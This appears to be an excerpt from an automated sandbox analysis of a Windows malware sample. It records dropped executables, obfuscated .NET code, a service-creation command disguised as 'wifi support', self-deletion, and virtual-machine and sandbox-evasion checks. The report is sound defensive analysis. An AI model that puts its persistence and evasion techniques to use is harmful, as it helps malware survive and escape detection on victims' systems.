Source: initial sample	Static PE information: section name: entropy: 7.99361781473
Source: initial sample	Static PE information: section name: entropy: 7.80912989946
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22348700263
Source: initial sample	Static PE information: section name: .28gybOo entropy: 7.91849564721
Source: initial sample	Static PE information: section name: .text entropy: 6.95926809019
Source: initial sample	Static PE information: section name: .text entropy: 6.98113997622
Source: initial sample	Static PE information: section name: .text entropy: 6.96210301798
Source: initial sample	Static PE information: section name: .didata entropy: 7.99713235918
Source: initial sample	Static PE information: section name: entropy: 7.99715965774
Source: initial sample	Static PE information: section name: entropy: 7.90405352991
Source: initial sample	Static PE information: section name: entropy: 7.99357874577
Source: initial sample	Static PE information: section name: entropy: 7.7922746648
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.23071246858
Source: initial sample	Static PE information: section name: .2pZFPAB entropy: 7.9174117718
Source: initial sample	Static PE information: section name: entropy: 7.99715248044
Source: initial sample	Static PE information: section name: entropy: 7.90789134233
Source: initial sample	Static PE information: section name: entropy: 7.99431797903
Source: initial sample	Static PE information: section name: entropy: 7.81839424264
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22755578232
Source: initial sample	Static PE information: section name: .kujN2o2 entropy: 7.91856580958
Source: initial sample	Static PE information: section name: .text entropy: 6.95926809019
Source: initial sample	Static PE information: section name: .text entropy: 6.96210301798

Source: B217.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: B217.exe.10.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.B217.exe.a90000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.0.B217.exe.a90000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.0.B217.exe.a90000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.B217.exe.a90000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.B217.exe.a90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.2.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.2.B217.exe.a90000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 27.0.B217.exe.a90000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 27.0.B217.exe.a90000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 42.0.B217.exe.1b0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 42.0.B217.exe.1b0000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 42.0.B217.exe.1b0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 42.0.B217.exe.1b0000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 42.0.B217.exe.1b0000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 42.0.B217.exe.1b0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rcvfbte

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3657.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\50E7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8ECE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A019.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rcvfbte	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7F9A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9460.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2EE4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B217.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\72B9.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9779.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\969F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A881.exe	File created: C:\Users\user\AppData\Local\Temp\lnagngtg.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A881.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\293.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\48E7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\41A3.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create gebcmxiz binPath= "C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe /d\"C:\Users\user\AppData\Local\Temp\A881.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\A881.exe

26_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\za3cyu28yl.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\rcvfbte:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Code function: 22_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

22_2_0040C2E0

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: A019.exe, 00000014.00000002.407579269.00000000020B0000.00000004.00000001.sdmp

Binary or memory string: ASWHOOK

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Code function: 22_2_00406AA0

22_2_00406AA0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Windows\explorer.exe TID: 5528	Thread sleep count: 577 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5848	Thread sleep count: 223 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2464	Thread sleep count: 271 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6888	Thread sleep count: 403 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4784	Thread sleep count: 167 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4700	Thread sleep count: 168 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5776	Thread sleep count: 310 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4620	Thread sleep count: 148 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6848	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe TID: 3220	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\B217.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 577			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 403			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9460.exe	API coverage: 8.1 %
Source: C:\Users\user\AppData\Local\Temp\A881.exe	API coverage: 6.4 %

Source: C:\Users\user\AppData\Local\Temp\9779.exe

Code function: 22_2_00406AA0

22_2_00406AA0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3657.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50E7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8ECE.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7F9A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2EE4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\72B9.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\969F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\lnagngtg.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\293.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\48E7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\41A3.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\9779.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\B217.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	API call chain: ExitProcess graph end node	graph_1-20980
Source: C:\Users\user\AppData\Local\Temp\9779.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\9779.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\9779.exe	API call chain: ExitProcess graph end node

Source: explorer.exe, 0000000A.00000000.332068185.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.332149562.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000A.00000000.332068185.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000A.00000000.296393454.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000018.00000002.432567501.000001C13CAA6000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW0
Source: explorer.exe, 0000000A.00000000.300343479.0000000008778000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}USERDOM
Source: explorer.exe, 0000000A.00000000.296393454.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: WerFault.exe, 00000015.00000003.425462493.0000000004A2F000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.425376239.0000000004A82000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000002.435145098.0000000004A82000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000002.434911058.0000000004A2F000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.433029816.000001C13CAEB000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000000A.00000000.332068185.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
